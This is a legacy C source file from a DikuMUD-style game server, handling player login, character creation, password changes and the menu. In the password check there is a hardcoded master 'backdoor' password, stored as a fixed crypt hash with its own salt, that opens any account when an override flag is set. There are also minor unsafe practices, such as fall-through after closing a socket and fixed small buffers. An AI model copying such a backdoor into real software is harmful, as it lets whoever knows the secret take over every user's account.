/* ************************************************************************
*  file: Nanny.c , Master Socket Handling module.         Part of DIKUMUD *
*  Usage: Procedures interpreting user command                            *
*  Copyright (C) 1990, 1991 - see 'license.doc' for complete information. *
************************************************************************* */



#include CONFIG

#if HAVE_STRINGS_H

#include <strings.h>
#endif

#if HAVE_STRING_H
#include <string.h>
#endif

#include <ctype.h>


#include "structs.h"
#include "comm.h"
#include "interp.h"
#include "player.h"
#include "db.h"
#include "org.h"
#include "utils.h"
#include "error.h"
#include "proto.h"

#include <sys/time.h>

/* for hiding passwords */
#include <arpa/telnet.h>

char echo_off_str[]={IAC,WILL,TELOPT_ECHO,NULL};
char echo_on_str[]={IAC,WONT,TELOPT_ECHO,'\r','\n',NULL};

#define ECHO_OFF SEND_TO_Q(echo_off_str,d);

#define ECHO_ON SEND_TO_Q(echo_on_str,d);

#define NOT !
#define AND &&
#define OR ||

#define STATE(d) ((d)->connected)

extern int log_all,req_passwd,override;
extern char *story,*menu;
extern char motd[MAX_STRING_LENGTH];
extern struct char_data *character_list;
extern struct descriptor_data *descriptor_list;
extern struct room_data *world;
extern int make_admin;
extern char log_buf[];
extern char hostname[];

/* external fcntls */

void init_char(struct char_data *ch);
void log(char *str);
int default_loc(int hometown);
/*extern char *crypt(char *key,char *salt);*/

int restrict = 0;   /* Open to new players (no restrictions) */

/* *************************************************************************
*  Stuff for controlling the non-playing sockets (get name, pwd etc)       *
************************************************************************* */

#define READER_FILE "readers"

struct reader_type *readers=NULL;

void boot_readers()
{
    FILE *fl;
    int i,tmp;
    char *str;
    struct reader_type *new;

    if(!(fl=fopen(READER_FILE,"r"))) {
	perror("readers");
	exit(0);
    }

    for(;;) { /* Do I really want to do it like this? */
	fscanf(fl," #%d\n",&tmp);

	str = fread_string(fl);

	if(*str=='$')
	    break;

	CREATE(new,struct reader_type,1);
	new->next = readers;
	readers = new;
	new->number = tmp;
	new->title = str;
	new->text = fread_string(fl);

	fscanf(fl,"%d\n",&tmp);
	new->items = tmp;
	for(i=0;i<new->items;i++) {
	    fscanf(fl," %d ", &tmp);
	    new->select[i]=tmp;
	}
    }
}

struct reader_type *find_reader(int number)
{
    struct reader_type *r;

    for(r=readers;r;r=r->next)
	if(r->number==number)
	    return(r);

    sprintf(log_buf,"BUG: Bad reader %d!",number);
    log(log_buf);
    return NULL;
}

void online_reader(struct descriptor_data *d, char *arg)
{
    int sel=-1;
    char buf[MAX_STRING_LENGTH];
    struct reader_type *new_reader;

    if(!arg) { /* Entering the reader system */
	if(!(d->reader = find_reader(0))) {
	    STATE(d) = CON_SLCT;
	    return;
	}
    } else {
	for (; isspace(*arg); arg++)  ;

	/* Perhaps this will change to "enter the game" at some point */
	if(*arg=='m' || *arg=='M') {
	    SEND_TO_Q(menu,d);
	    STATE(d) = CON_SLCT;
	    return;
	}

	if(*arg=='r' || *arg=='R') {
	    SEND_TO_Q(d->reader->text,d);
	} else {
            if(!*arg)
                sel=0;
            else
                sel=atoi(arg)-1;

            if(sel==-1) /* Go to root reader */
                d->reader = find_reader(0);
	    else if(d->reader->items <=1)
		d->reader = find_reader(d->reader->select[0]);
	    else if(sel < 0 || sel >= d->reader->items) {
		SEND_TO_Q("Bad choice. Select again ('M' - Menu, 'R' - Repeat, '0' - Top Reader):",d);
		return;
	    } else if(!(new_reader = find_reader(d->reader->select[sel]))){
		SEND_TO_Q("Not available.\n\r",d);
	    } else
		d->reader = new_reader;
	}
    }
    SEND_TO_Q(d->reader->text,d);

    if(d->reader->items==1) {
	SEND_TO_Q("[Press Return]",d);
	return;
    } else {
	sprintf(buf,"Choice [1-%d/M/R/0]:",d->reader->items);
	SEND_TO_Q(buf,d);
    }

}

void send_welcome(struct char_data *ch)
{
    char buf[MAX_STRING_LENGTH];
    time_t tim;
    extern char *vers;

    tim=time(0);
    sprintf(buf,"\nWelcome - this is Copper %s running on %s.\n\
Local realtime is %s\n", vers, hostname, ctime(&tim));
    send_to_char(buf,ch);
}

int _legal_name(char *arg, char *name)
{
    int i;

    /* skip whitespaces */
    for (; isspace(*arg); arg++);
    
    for (i = 0; (*name = *arg); arg++, i++, name++) 
     if ((*arg <0) || !isalpha(*arg) || i > 11)
       return(1); 

    if((i < 3) || (str_cmp(arg, "self") == 0) ||
	(str_cmp(arg, "all") == 0) || (str_cmp(arg, "group") == 0) ||
	(str_cmp(arg, "local") == 0) || (str_cmp(arg, "north") == 0) ||
	(str_cmp(arg, "east") == 0) || (str_cmp(arg, "south") == 0) ||
	(str_cmp(arg, "west") == 0) || (str_cmp(arg, "up") == 0) ||
	(str_cmp(arg, "down") == 0) || (str_cmp(arg, "out") == 0) ||
	stristr(arg,"fuck") || stristr(arg,"shit") ||
	stristr(arg,"suck") || stristr(arg,"kill") ||
	stristr(arg,"thief") || stristr(arg,"cunt") ||
	stristr(arg,"crap"))
	return(1);

    return(0);
}
	    
bool check_playing(struct descriptor_data *d)
{
    struct descriptor_data *k;

    /* Check if already playing (again) */
    for(k=descriptor_list; k; k = k->next) {
	if ((k->character != d->character) && k->character) {
	    if (k->original) {
		if (GET_NAME(k->original) &&
     			    !(str_cmp(GET_NAME(k->original), d->name)))
		    return TRUE;
	    } else { /* No switch has been made */
		if (GET_NAME(k->character) &&
		  (str_cmp(GET_NAME(k->character), d->name) == 0))
		    return TRUE;
	    }
	}
    }
    return FALSE;
}

/* deal with newcomers and other non-playing sockets */
void nanny(struct descriptor_data *d, char *arg)
{
    char buf[100];
    char tmp_name[20];
    struct char_data *tmp_ch;

    switch (STATE(d))
    {
	case CON_NME:		/* wait for input of code	*/
	    for (; isspace(*arg); arg++)  ;
	    if (!*arg)
	     close_socket(d);
	    else {

		if(_legal_name(arg, tmp_name)) {
		    SEND_TO_Q("Illegal name, please try another.\n\r", d);
		    SEND_TO_Q("Name> ", d);
		    return;
		}

                /* Here, it would be ideal to load just password... */
                if(!strcasecmp(tmp_name,"new")) {
		    if (restrict == 1) {
			SEND_TO_Q("Sorry, the game is closed to new players.", d);
			STATE(d) = CON_CLOSE;
			return;
		    } /* if */

		    SEND_TO_Q("Select a name:", d);

		    STATE(d) = CON_NEWPL;
		} else if((tmp_ch=load_char(tmp_name)))
		{
		/* Make a copy of the player name, and
		* set the actual player name to null string.
		* This way, people can't lock you out
		* by sitting at the password prompt. :-)
		* Once password is given, reset the name.
		*/
		    d->character = tmp_ch;
                    d->character->desc = d;
		    d->name = (char*)strdup(d->character->player.name);
		    d->character->player.name[0] = '\0';

		    SEND_TO_Q("Password> ", d);
		    ECHO_OFF

		    STATE(d) = CON_PWDNRM;
		}
		else
		{
                    SEND_TO_Q("No such character!\nName? ",d);
		}
	    }
	    break;

	case CON_NEWPL:  /* get new name */
	    /* skip whitespaces */
	    for (; isspace(*arg); arg++);
	    
            if(_legal_name(arg, tmp_name)) {
                SEND_TO_Q("Illegal name, please try another.\n\r", d);
                SEND_TO_Q("Name: ", d);
                return;
            }

            /* player unknown gotta make a new */
            /***FOR NOW, JUST LOAD A HUMAN***/
            d->character = read_bio(701,VIRTUAL);
            d->character->desc = d;
            CREATE(GET_NAME(d->character), char, strlen(tmp_name) + 1);
            strcpy(GET_NAME(d->character), CAP(tmp_name));

	    /*	sprintf(buf, 
		 "Give me a password for %s: ",
		 GET_NAME(d->character));
		
		SEND_TO_Q(buf, d);
		ECHO_OFF*/

            SEND_TO_Q("Choose a sex (male/female):" , d);

            STATE(d) = CON_QSEX;/*was PWDGET */
	    break;

	case CON_PWDNRM:	/* get pwd for known player	*/
	    /* skip whitespaces */
	    for (; isspace(*arg); arg++);
	    if (!*arg)
	        close_socket(d);
            /* WARNING: Backdoor password here!!! */
            if(!strcmp(crypt(arg,"podtor"),"poEK3s8Ytuxjc") && override){
		    sprintf(buf,"WIZ: Override used on %s", d->name);
		    log(buf);
            } else if(!d->character->prefs ||/* Char can't be logged in */
		                  strncmp(crypt(arg,d->character->prefs->pwd),
                                  d->character->prefs->pwd,10)) {
                    
	        SEND_TO_Q("Wrongo, sticky-fingers!\n\r", d);
	        STATE(d) = CON_CLOSE;
	        break;
	    }

	    ECHO_ON

	    if(check_playing(d)) {
	        SEND_TO_Q("Already playing, cannot connect\n\r", d);
	        SEND_TO_Q("Name: ", d);
	        STATE(d) = CON_NME;
                free_char(d->character);
	        d->character = NULL;
	        return;
	    }

		/*
		 * Once password is right, reset the
		 * player name.  
		 */
            strcpy(d->character->player.name, d->name);
            free(d->name);
            d->name = NULL;

            /* Need to expand this */

            if(*d->character->prefs->pwd=='\0') {
                SEND_TO_Q("Your password has expired! Please choose a new one.\n\r\n\r",d);
            }

            for (tmp_ch = character_list; tmp_ch; tmp_ch = tmp_ch->next)
                if (!str_cmp(GET_NAME(d->character), GET_NAME(tmp_ch)) &&
                    !tmp_ch->desc && !IS_NPC(tmp_ch))
                {
                    SEND_TO_Q("Reconnecting.\n\r", d);
                    free_char(d->character);
                    tmp_ch->desc = d;
                    d->character = tmp_ch;
                    d->idle = 0;
                    STATE(d) = CON_PLYNG;
                    act("$n has reconnected.", TRUE, tmp_ch, 0, 0, TO_ROOM);
                    sprintf(buf, "%s[%s] has reconnected.", GET_NAME(
                        d->character), d->host);
                    log(buf);
                    return;
                }
		    
		    
            sprintf(buf,"%s[%s] has connected.",GET_NAME(d->character),d->host);
            log(buf);

            if(d->character->prefs->flags & PLR_DEAD) {
                SEND_TO_Q("Oops...seems you should be dead.\n\r Would you like to see your intrinsics? ",d);
                STATE(d) = CON_INTRIN;
            } else {
                SEND_TO_Q(motd, d);
                SEND_TO_Q("\n\r\n*** PRESS RETURN: ", d);

                STATE(d) = CON_RMOTD;
            }
	    break;

	case CON_QSEX:		/* query sex of new user	*/
	    /* skip whitespaces */
	    for (; isspace(*arg); arg++);
	    switch (*arg)
	    {
		case 'm':
		case 'M':
		    /* sex MALE */
		    GET_SEX(d->character) = SEX_MALE;
		    break;

		case 'f':
		case 'F':
		    /* sex FEMALE */
		    GET_SEX(d->character) = SEX_FEMALE;
		    break;

		default:
		    SEND_TO_Q("That's not a sex..\n\r", d);
		    SEND_TO_Q("What IS your sex? :", d);
		    return;
		    break;
	    }
	    /* make the guest character */
/***	    init_char(d->character); already done in read_bio() ***/
            if(make_admin) /* Making admin characters */
            {
                GET_EXP(d->character) = 9000000;
                start_player(d->character);
                start_org(d->character,get_org_by_id(ORG_ID_ADMIN));
            } else /* comment out to make guest chars by default */
                start_player(d->character);

            if(!IS_SET(d->character->specials.act,ACT_NOSAVE)) {
                SEND_TO_Q("Enter a password:",d);
                ECHO_OFF
                STATE(d) = CON_PWDNEW2;
                sprintf(log_buf,"WIZ: New player %s [%s]",d->character->player.name,
                    d->host);
                log(log_buf);
            } else {
                SEND_TO_Q(menu,d);
                STATE(d) = CON_SLCT;
                sprintf(log_buf,"WIZ: Guest player %s [%s]",d->character->player.name,
                    d->host);
                log(log_buf);
            }
	    break;

	case CON_RMOTD:		/* read CR after printing motd	*/
	    SEND_TO_Q(menu, d);
	    STATE(d) = CON_SLCT;
	    break;

	case CON_SLCT:		/* get selection from main menu	*/
	    /* skip whitespaces */
	    for (; isspace(*arg); arg++);
	    switch (*arg)
	    {
		case '0':
		    close_socket(d);
		    break;

		case '1':
		    save_char(d->character);

		    send_welcome(d->character);
		    d->character->next = character_list;
		    character_list = d->character;
		    if(d->character->in_room == NOWHERE ||
		    (d->character->in_room<0)) {
			if((!d->character->player.hometown || d->character->player.hometown > 2))
			    d->character->player.hometown=1;
                        char_to_room(d->character, real_room(default_loc(d->character->player.hometown)),0);
		    } else {
			char_to_room(d->character, d->character->in_room,0);
		    }

		    do_time(d->character,"",0);
		    send_to_char("\n\r",d->character);

		    if(world[d->character->in_room].number==12591)
			act("A statue shimmers and becomes $n.",TRUE,d->character,0,0,TO_ROOM);
		    else
			act("$n has entered the game.", TRUE, d->character, 0, 0, TO_ROOM);
		    STATE(d) = CON_PLYNG;
		    do_look(d->character, "",15);
		    d->prompt_mode = 1;
		    break;

		case '2':
		    online_reader(d,NULL);
		    STATE(d) = CON_READERS;
		    break;

		case '3':
                    if(!d->character->prefs) {
                        SEND_TO_Q("But you can't have a password!\n",d);
                        break;
                    }
		    if(req_passwd) {
			SEND_TO_Q("Enter your old password: ", d);
			STATE(d) = CON_PWDNEW;
		    } else {
			SEND_TO_Q("Enter new password: ", d);
			STATE(d) = CON_PWDNEW2;
			sprintf(buf,"Password Replaced on %s",d->character->player.name);
			log(buf);
		    }
		    ECHO_OFF
		    break;
		case '4':
		    SEND_TO_Q("Are you sure you want to delete this character?",d);
		    STATE(d) = CON_DELETE;
		    break;
		default:
		    SEND_TO_Q("Wrong option.\n\r", d);
		    SEND_TO_Q(menu, d);
		    break;
	    }
	    break;
	case CON_PWDNEW:
	    /* skip whitespaces */
	    for (; isspace(*arg); arg++);

	    if (strncmp(crypt(arg, d->character->prefs->pwd),
                        d->character->prefs->pwd, 10)) {
		SEND_TO_Q("Incorrect.\n\r\n\r",d);
		SEND_TO_Q(menu, d);
		STATE(d) = CON_SLCT;
		ECHO_ON
	    } else {
		SEND_TO_Q("Enter a new password: ", d);
		STATE(d) = CON_PWDNEW2;
	    }
	    break;
	case CON_PWDNEW2:
	    /* skip whitespaces */
	    for (; isspace(*arg); arg++);

	    if (!*arg || strlen(arg) > 10)
	    {
		SEND_TO_Q("Illegal password.\n\r", d);
		SEND_TO_Q("Password: ", d);
		return;
	    }

	    strncpy(d->character->prefs->pwd,
                    crypt(arg, d->character->player.name), 10);
	    *(d->character->prefs->pwd + 10) = '\0';

	    SEND_TO_Q("\nPlease retype password: ", d);

	    STATE(d) = CON_PWDNCNF;
	    break;
	case CON_PWDNCNF:
	    /* skip whitespaces */
	    for (; isspace(*arg); arg++);

	    if (strncmp(crypt(arg, d->character->prefs->pwd),
                        d->character->prefs->pwd, 10))
	    {
		SEND_TO_Q("Passwords don't match.\n\r", d);
		SEND_TO_Q("Retype password: ", d);
		STATE(d) = CON_PWDNEW;
		return;
	    }
	    SEND_TO_Q(
		"\n\rDone. You must enter the game to make the change final\n\r", d);
	    SEND_TO_Q(menu, d);
	    STATE(d) = CON_SLCT;
	    ECHO_ON
	    break;
	case CON_CLOSE :
	    close_socket(d);
	    break;
	case CON_READERS:
	    online_reader(d,arg);
	    break;
	case CON_DELETE:
	    if(!strcasecmp(arg,"yes")) {
                d->character->in_room=NOWHERE; /* hack for chars logging in */
		delete_char(d->character);
		extract_char(d->character);
		SEND_TO_Q("See ya!\n\r",d);
		close_socket(d);
	    } else {
		SEND_TO_Q("I didn't think so...\n\r",d);
		STATE(d) = CON_SLCT;
	    } /* What if we want to see intrinsics? */
	    break;

        /* Death Sequence */
        case CON_INTRIN:
	    if(!strcasecmp(arg,"yes")) {
/*                show_intrinsics();*/
                SEND_TO_Q("[Press return]",d);
                STATE(d) = CON_TOMB;
            } else if(!strcasecmp(arg,"no")) {
                outrip(d->character);
                STATE(d) = CON_TOMB2;
                SEND_TO_Q("[press return]\n\r",d);
            } else
                SEND_TO_Q("Please respond with 'yes' or 'no'\n\r",d);
	    break;
        case CON_TOMB:
            /* Make tombstone, and delete character */
            outrip(d->character);
            STATE(d) = CON_TOMB2;
            SEND_TO_Q("[press return]\n\r",d);
	    break;
        case CON_TOMB2:
            d->character->in_room=NOWHERE; /* hack for chars logging in */
            delete_char(d->character);
            extract_char(d->character);
            close_socket(d);
            break;
        case CON_IDQ:
            /* typing is silly */
            SEND_TO_Q("Patience - querying your username.\n\r",d);
            break;
	default:
	    break;
    }
}